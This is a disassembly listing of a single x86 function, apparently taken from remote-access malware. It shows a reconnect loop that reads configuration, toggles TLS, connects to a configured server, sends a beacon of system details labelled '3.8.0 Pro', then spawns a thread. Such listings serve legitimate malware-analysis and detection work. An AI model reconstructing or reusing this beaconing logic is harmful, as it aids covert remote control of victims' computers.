Function at 0x10011eaf
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x9cc
lea ecx, [ebp - 0x60]
push ebx
push esi
push edi
call fcn.100020ee
lea ecx, [ebp - 0x114]
call fcn.10017c2d
lea ecx, [ebp - 0x5dc]
call fcn.100020ee
mov edi, 0x1006f004
push 0x29
mov ecx, edi
call fcn.10001e62
mov ecx, eax
call fcn.10001fae
push eax
call fcn.10037404
pop ecx
test eax, eax
je 0x10011f06
imul eax, eax, 0x3e8
push eax
call dword [sym.imp.KERNEL32.dll_Sleep]
sub esp, 0x18
mov ecx, esp
push 0x100664c4
call fcn.1000209d
push 0
mov ecx, edi
call fcn.10001e62
sub esp, 0x18
mov ecx, esp
push eax
call fcn.10002105
lea ecx, [ebp - 0x48]
call fcn.1001809f
add esp, 0x30
xor ebx, ebx
call fcn.100049c0
push 0x3a
mov ecx, edi
call fcn.10001e62
mov edx, 0x10060720
mov ecx, eax
call fcn.100143ec
test al, al
je 0x10011fc6
push 0x3a
mov ecx, edi
call fcn.10001e62
mov ecx, eax
call fcn.100024a2
push eax
push 0x3a
mov ecx, edi
call fcn.10001e62
mov ecx, eax
call fcn.10001fae
push eax
push 0x39
mov ecx, edi
call fcn.10001e62
mov ecx, eax
call fcn.100024a2
push eax
push 0x39
mov ecx, edi
call fcn.10001e62
mov ecx, eax
call fcn.10001fae
push eax
push 0x38
mov ecx, edi
call fcn.10001e62
mov ecx, eax
call fcn.100024a2
push 0x38
mov ecx, edi
mov esi, eax
call fcn.10001e62
mov ecx, eax
call fcn.10001fae
mov edx, esi
mov ecx, eax
call fcn.10004861
add esp, 0x10
sub esp, 0x18
mov byte [0x1006f4e1], 1
mov ecx, esp
push 0x100664c8
call fcn.1000209d
push ebx
lea ecx, [ebp - 0x48]
call fcn.10001e62
sub esp, 0x18
mov ecx, esp
push eax
call fcn.10002105
lea ecx, [ebp - 0xc]
call fcn.1001809f
add esp, 0x30
lea ecx, [ebp - 0xc]
push 1
call fcn.10001e62
push eax
push 0x100664c8
push 0
lea ecx, [ebp - 0xc]
call fcn.10001e62
mov edx, eax
lea ecx, [ebp - 0x3c]
call fcn.10008178
pop ecx
mov edx, eax
lea ecx, [ebp - 0x24]
call fcn.10002fac
pop ecx
push eax
mov ecx, 0x1006f4e4
call fcn.10001fea
lea ecx, [ebp - 0x24]
call fcn.10001fe0
lea ecx, [ebp - 0x3c]
call fcn.10001fe0
push 2
lea ecx, [ebp - 0xc]
call fcn.10001e62
mov edx, 0x10060790
mov ecx, eax
call fcn.10005c35
lea ecx, [ebp - 0x60]
test al, al
je 0x10012071
mov byte [0x1006cae4], 0
push str.TLS_Off
jmp 0x1001207d
mov byte [0x1006cae4], 1
push str.TLS_On
call fcn.10005bd1
sub esp, 0x18
lea eax, [ebp - 0x60]
mov esi, esp
lea ecx, [ebp - 0x3c]
mov edx, str.Connecting__
push 0x1006f4e4
push 0x100664dc
push eax
call fcn.10005429
pop ecx
mov edx, eax
lea ecx, [ebp - 0x24]
call fcn.10008154
pop ecx
mov edx, eax
mov ecx, esi
call fcn.10002fac
sub esp, 0x14
mov ecx, esp
push 0x10060624
call fcn.1000209d
call fcn.1001795c
add esp, 0x30
lea ecx, [ebp - 0x24]
call fcn.10001fe0
lea ecx, [ebp - 0x3c]
call fcn.10001fe0
push ecx
push ecx
push 1
lea ecx, [ebp - 0xc]
call fcn.10001e62
mov ecx, eax
call fcn.10001fae
push 0
lea ecx, [ebp - 0xc]
mov esi, eax
call fcn.10001e62
mov ecx, eax
call fcn.10001fae
mov edx, esi
mov ecx, eax
call fcn.10011e6e
test eax, eax
je 0x1001215a
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edx, eax
lea ecx, [ebp - 0x24]
call fcn.10018c24
sub esp, 0x18
mov edx, str.Connection_Error:
mov ecx, esp
push eax
call fcn.10005405
sub esp, 0x14
mov ecx, esp
push 0x10060588
call fcn.1000209d
call fcn.1001795c
add esp, 0x30
lea ecx, [ebp - 0x24]
call fcn.10001fe0
mov esi, 0x1006f4b0
jmp 0x100129c2
mov esi, 0x1006f4b0
mov ecx, esi
call fcn.1000494f
test al, al
jne 0x10012195
sub esp, 0x18
mov ecx, esp
push str.Connection_Error:_Unable_to_create_socket
call fcn.1000209d
sub esp, 0x18
mov ecx, esp
push 0x10060588
call fcn.1000209d
call fcn.1001795c
add esp, 0x30
jmp 0x100129c2
push 0
push 0x3c
mov ecx, esi
call fcn.1000504b
push ecx
mov ecx, esi
call fcn.100049ea
test al, al
je 0x100129c2
push 1
lea ecx, [ebp - 0xc]
call fcn.10001e62
sub esp, 0x18
lea ecx, [ebp - 0xc]
mov esi, esp
push eax
push 0x100664c8
push 0
call fcn.10001e62
push eax
lea eax, [ebp - 0x60]
mov edx, str.Connected___
push 0x100664dc
push eax
lea ecx, [ebp - 0xfc]
call fcn.10005429
pop ecx
mov edx, eax
lea ecx, [ebp - 0xe4]
call fcn.10008154
pop ecx
mov edx, eax
lea ecx, [ebp - 0xcc]
call fcn.10002fac
pop ecx
mov edx, eax
lea ecx, [ebp - 0x78]
call fcn.10008154
pop ecx
mov edx, eax
mov ecx, esi
call fcn.10002fac
sub esp, 0x14
mov ecx, esp
push 0x10060624
call fcn.1000209d
call fcn.1001795c
add esp, 0x30
lea ecx, [ebp - 0x78]
call fcn.10001fe0
lea ecx, [ebp - 0xcc]
call fcn.10001fe0
lea ecx, [ebp - 0xe4]
call fcn.10001fe0
lea ecx, [ebp - 0xfc]
call fcn.10001fe0
mov byte [ebp - 0x9c], 0
lea edi, [ebp - 0x9b]
xor eax, eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
call fcn.10017b5c
push edx
push eax
lea eax, [ebp - 0x9c]
push str._I64u
push eax
call fcn.10011546
add esp, 0x10
lea ecx, [ebp - 0x24]
push 0x1006f070
call fcn.10007fdb
push 0xa
lea eax, [ebp - 0x84]
push eax
push dword [0x1006b9d0]
call fcn.1003cdd0
add esp, 0xc
mov ecx, 0x1006f004
push 1
call fcn.10001e62
push eax
lea ecx, [ebp - 0xb4]
call fcn.10002105
mov esi, 0x1006f250
mov ecx, esi
call fcn.100024a2
push eax
mov ecx, esi
call fcn.10001fae
push eax
push 0x104
lea eax, [ebp - 0x9c8]
mov esi, 0x1006f208
push eax
push str.name
mov ecx, esi
call fcn.10001fae
mov edx, eax
call fcn.100106a9
add esp, 0x14
test al, al
je 0x10012317
lea eax, [ebp - 0x9c8]
push eax
lea ecx, [ebp - 0xb4]
call fcn.10005bd1
push ecx
push str.hlight
mov ecx, esi
call fcn.10001fae
push eax
mov edx, closesocket
lea ecx, [ebp - 0x3c]
call fcn.100105c3
mov eax, dword [0x1006cd30]
add esp, 0xc
xor edi, edi
test eax, eax
je 0x10012345
call eax
movzx edi, ax
push 0x1006cb10
lea ecx, [ebp - 0x78]
call fcn.10004287
sub esp, 0x18
lea eax, [ebp - 0x3c]
mov esi, esp
mov ecx, 0x1006ee80
mov edx, 0x1006f1f0
push eax
push ecx
push 0x1006f298
push ecx
lea eax, [ebp - 0x114]
push eax
push ecx
lea ecx, [ebp - 0x5c4]
call fcn.10018002
push eax
push 0x1006ee80
movzx edx, di
lea ecx, [ebp - 0x5ac]
call fcn.10017e8c
push eax
mov edi, 0x1006ee80
lea ecx, [ebp - 0xc]
push edi
push 0x1006f238
push edi
push 0
call fcn.10001e62
push eax
push edi
lea eax, [ebp - 0x84]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov edx, eax
lea ecx, [ebp - 0x594]
call fcn.10017e8c
push eax
push edi
call fcn.10017e3c
mov edx, eax
lea ecx, [ebp - 0x57c]
call fcn.10017e8c
push eax
movzx eax, byte [0x1006b9d4]
lea ecx, [ebp - 0x564]
push edi
push eax
push edi
call fcn.10017ded
mov edx, eax
lea ecx, [ebp - 0x54c]
call fcn.10018002
push eax
push edi
mov edx, 0x1006ed04
lea ecx, [ebp - 0x534]
call fcn.10018002
push eax
push edi
lea edx, [ebp - 0x78]
lea ecx, [ebp - 0x51c]
call fcn.10018002
push eax
push edi
lea edx, [ebp - 0x24]
lea ecx, [ebp - 0x504]
call fcn.10018002
push eax
push edi
push str.3.8.0_Pro
push edi
lea eax, [ebp - 0x9c]
mov edx, 0x1006f5e0
push eax
push edi
lea ecx, [ebp - 0x4ec]
call fcn.10018002
push eax
push edi
push 0x1006f918
push edi
lea ecx, [ebp - 0x4d4]
call fcn.1000d077
push eax
push edi
mov edx, 0x1006f268
lea ecx, [ebp - 0x4bc]
call fcn.10018002
push eax
push edi
lea edx, [ebp - 0xb4]
lea ecx, [ebp - 0x4a4]
call fcn.10002fd0
pop ecx
mov edx, eax
lea ecx, [ebp - 0x48c]
call fcn.10002f36
pop ecx
mov edx, eax
lea ecx, [ebp - 0x474]
call fcn.10002fac
pop ecx
mov edx, eax
lea ecx, [ebp - 0x45c]
call fcn.10002f36
pop ecx
mov edx, eax
lea ecx, [ebp - 0x444]
call fcn.10002fac
pop ecx
mov edx, eax
lea ecx, [ebp - 0x42c]
call fcn.10002fac
pop ecx
mov edx, eax
lea ecx, [ebp - 0x414]
call fcn.10002fac
pop ecx
mov edx, eax
lea ecx, [ebp - 0x3fc]
call fcn.10002f36
pop ecx
mov edx, eax
lea ecx, [ebp - 0x3e4]
call fcn.10002fac
pop ecx
mov edx, eax
lea ecx, [ebp - 0x3cc]
call fcn.10008154
pop ecx
mov edx, eax
lea ecx, [ebp - 0x3b4]
call fcn.10002fac
pop ecx
mov edx, eax
lea ecx, [ebp - 0x39c]
call fcn.10008154
pop ecx
mov edx, eax
lea ecx, [ebp - 0x384]
call fcn.10002fac
pop ecx
mov edx, eax
lea ecx, [ebp - 0x36c]
call fcn.10002f36
pop ecx
mov edx, eax
lea ecx, [ebp - 0x354]
call fcn.10002fac
pop ecx
mov edx, eax
lea ecx, [ebp - 0x33c]
call fcn.10002f36
pop ecx
mov edx, eax
lea ecx, [ebp - 0x324]
call fcn.10002fac
pop ecx
mov edx, eax
lea ecx, [ebp - 0x30c]
call fcn.10002f36
pop ecx
mov edx, eax
lea ecx, [ebp - 0x2f4]
call fcn.10002fac
pop ecx
mov edx, eax
lea ecx, [ebp - 0x2dc]
call fcn.10002f36
pop ecx
mov edx, eax
lea ecx, [ebp - 0x2c4]
call fcn.10002fac
pop ecx
mov edx, eax
lea ecx, [ebp - 0x2ac]
call fcn.100081bc
pop ecx
mov edx, eax
lea ecx, [ebp - 0x294]
call fcn.10002fac
pop ecx
mov edx, eax
lea ecx, [ebp - 0x27c]
call fcn.10002f36
pop ecx
mov edx, eax
lea ecx, [ebp - 0x264]
call fcn.10002fac
pop ecx
mov edx, eax
lea ecx, [ebp - 0x24c]
call fcn.10002f36
pop ecx
mov edx, eax
lea ecx, [ebp - 0x234]
call fcn.10002fac
pop ecx
mov edx, eax
lea ecx, [ebp - 0x21c]
call fcn.10008154
pop ecx
mov edx, eax
lea ecx, [ebp - 0x204]
call fcn.10002fac
pop ecx
mov edx, eax
lea ecx, [ebp - 0x1ec]
call fcn.10002fac
pop ecx
mov edx, eax
lea ecx, [ebp - 0x1d4]
call fcn.10002fac
pop ecx
mov edx, eax
lea ecx, [ebp - 0x1bc]
call fcn.10002fac
pop ecx
mov edx, eax
lea ecx, [ebp - 0x1a4]
call fcn.10002fac
pop ecx
mov edx, eax
lea ecx, [ebp - 0x18c]
call fcn.10002f36
pop ecx
mov edx, eax
lea ecx, [ebp - 0x174]
call fcn.10002fac
pop ecx
mov edx, eax
lea ecx, [ebp - 0x15c]
call fcn.10002f36
pop ecx
mov edx, eax
lea ecx, [ebp - 0x144]
call fcn.10002fac
pop ecx
mov edx, eax
lea ecx, [ebp - 0x12c]
call fcn.10002fac
pop ecx
mov edx, eax
lea ecx, [ebp - 0xcc]
call fcn.10002fac
pop ecx
mov edx, eax
lea ecx, [ebp - 0xe4]
call fcn.10002fac
pop ecx
mov edx, eax
lea ecx, [ebp - 0xfc]
call fcn.10002fac
pop ecx
mov edx, eax
mov ecx, esi
call fcn.10002fac
pop ecx
mov esi, 0x1006f4b0
push 0x4b
mov ecx, esi
call fcn.10004bc3
lea ecx, [ebp - 0xfc]
call fcn.10001fe0
lea ecx, [ebp - 0xe4]
call fcn.10001fe0
lea ecx, [ebp - 0xcc]
call fcn.10001fe0
lea ecx, [ebp - 0x12c]
call fcn.10001fe0
lea ecx, [ebp - 0x144]
call fcn.10001fe0
lea ecx, [ebp - 0x15c]
call fcn.10001fe0
lea ecx, [ebp - 0x174]
call fcn.10001fe0
lea ecx, [ebp - 0x18c]
call fcn.10001fe0
lea ecx, [ebp - 0x1a4]
call fcn.10001fe0
lea ecx, [ebp - 0x1bc]
call fcn.10001fe0
lea ecx, [ebp - 0x1d4]
call fcn.10001fe0
lea ecx, [ebp - 0x1ec]
call fcn.10001fe0
lea ecx, [ebp - 0x204]
call fcn.10001fe0
lea ecx, [ebp - 0x21c]
call fcn.10001fe0
lea ecx, [ebp - 0x234]
call fcn.10001fe0
lea ecx, [ebp - 0x24c]
call fcn.10001fe0
lea ecx, [ebp - 0x264]
call fcn.10001fe0
lea ecx, [ebp - 0x27c]
call fcn.10001fe0
lea ecx, [ebp - 0x294]
call fcn.10001fe0
lea ecx, [ebp - 0x2ac]
call fcn.10001fe0
lea ecx, [ebp - 0x2c4]
call fcn.10001fe0
lea ecx, [ebp - 0x2dc]
call fcn.10001fe0
lea ecx, [ebp - 0x2f4]
call fcn.10001fe0
lea ecx, [ebp - 0x30c]
call fcn.10001fe0
lea ecx, [ebp - 0x324]
call fcn.10001fe0
lea ecx, [ebp - 0x33c]
call fcn.10001fe0
lea ecx, [ebp - 0x354]
call fcn.10001fe0
lea ecx, [ebp - 0x36c]
call fcn.10001fe0
lea ecx, [ebp - 0x384]
call fcn.10001fe0
lea ecx, [ebp - 0x39c]
call fcn.10001fe0
lea ecx, [ebp - 0x3b4]
call fcn.10001fe0
lea ecx, [ebp - 0x3cc]
call fcn.10001fe0
lea ecx, [ebp - 0x3e4]
call fcn.10001fe0
lea ecx, [ebp - 0x3fc]
call fcn.10001fe0
lea ecx, [ebp - 0x414]
call fcn.10001fe0
lea ecx, [ebp - 0x42c]
call fcn.10001fe0
lea ecx, [ebp - 0x444]
call fcn.10001fe0
lea ecx, [ebp - 0x45c]
call fcn.10001fe0
lea ecx, [ebp - 0x474]
call fcn.10001fe0
lea ecx, [ebp - 0x48c]
call fcn.10001fe0
lea ecx, [ebp - 0x4a4]
call fcn.10001fe0
lea ecx, [ebp - 0x4bc]
call fcn.10001fe0
lea ecx, [ebp - 0x4d4]
call fcn.10001fe0
lea ecx, [ebp - 0x4ec]
call fcn.10001fe0
lea ecx, [ebp - 0x504]
call fcn.10001fe0
lea ecx, [ebp - 0x51c]
call fcn.10001fe0
lea ecx, [ebp - 0x534]
call fcn.10001fe0
lea ecx, [ebp - 0x54c]
call fcn.10001fe0
lea ecx, [ebp - 0x564]
call fcn.10001f09
lea ecx, [ebp - 0x57c]
call fcn.10001fe0
lea ecx, [ebp - 0x594]
call fcn.10001fe0
lea ecx, [ebp - 0x5ac]
call fcn.10001fe0
lea ecx, [ebp - 0x5c4]
call fcn.10001fe0
lea ecx, [ebp - 0x78]
call fcn.10001f09
push 1
push 0x10012a09
mov ecx, esi
call fcn.10004d18
mov eax, dword [0x1006cd34]
test eax, eax
je 0x10012949
cmp byte [0x1006cd22], 0
je 0x10012949
call eax
mov byte [0x1006cd22], 0
cmp byte [0x1006f05a], 0
je 0x1001295c
mov ecx, 0x1006f010
call fcn.10009fbc
call fcn.10005b94
sub esp, 0x18
mov ecx, esp
push str.Disconnected
call fcn.1000209d
sub esp, 0x18
mov ecx, esp
push 0x100606dc
call fcn.1000209d
call fcn.1001795c
add esp, 0x30
cmp byte [0x1006ea9a], 0
je 0x100129a2
xor eax, eax
push eax
push eax
push eax
push fcn.1001716a
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
lea ecx, [ebp - 0x3c]
call fcn.10001fe0
lea ecx, [ebp - 0xb4]
call fcn.10001fe0
lea ecx, [ebp - 0x24]
call fcn.10001f09
mov edi, 0x1006f004
mov ecx, esi
call fcn.10004f2b
lea ecx, [ebp - 0x48]
inc ebx
call fcn.1000220e
cmp ebx, eax
jb 0x100129fc
push 2
mov ecx, edi
xor ebx, ebx
call fcn.10001e62
mov ecx, eax
call fcn.10001fae
push eax
call fcn.10037404
imul eax, eax, 0x3e8
pop ecx
push eax
call dword [sym.imp.KERNEL32.dll_Sleep]
lea ecx, [ebp - 0xc]
call fcn.10001e8d
jmp 0x10011fc6